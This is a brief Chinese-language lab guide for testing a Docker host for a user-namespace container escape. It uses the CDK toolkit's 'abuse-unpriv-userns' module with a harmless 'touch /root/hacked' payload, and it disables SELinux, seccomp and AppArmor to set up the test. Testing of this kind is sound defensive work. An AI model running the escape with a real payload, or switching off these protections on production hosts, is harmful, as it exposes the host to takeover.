1. 下载最新 的 cdk 下载链接 https://github.com/cdk-team/CDK/releases
2、制作镜像:
FROM ubuntu:20.04
LABEL MAINTAINER kmahyyg<16604643+kmahyyg@users.noreply.github.com>
RUN echo "nameserver 223.5.5.5" > /etc/resolv.conf
RUN sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list && \
apt update -y && \
apt install -y ca-certificates wget curl nano strace ltrace socat libcap2-bin && \
rm -rf /var/cache/apt
CMD ["/bin/bash", "-c", "sleep 9999"]
docker build -t test:1 .
3. 临时关闭selinux
setenforce 0
开启用户命名空间
echo user.max_user_namespaces=15000 >/etc/sysctl.d/90-max_net_namespaces.conf'
sysctl -p /etc/sysctl.d /etc/sysctl.d/90-max_net_namespaces.conf
4.docker run -d --security-opt "seccomp=unconfined" --security-opt "apparmor=unconfined" test:1
使用docker cp把 cdk 放到/home/下给执行权限
容器内执行:./cdk run abuse-unpriv-userns "touch /root/hacked"
查看宿主机是否有 /root/hacked 目录有了则存在漏洞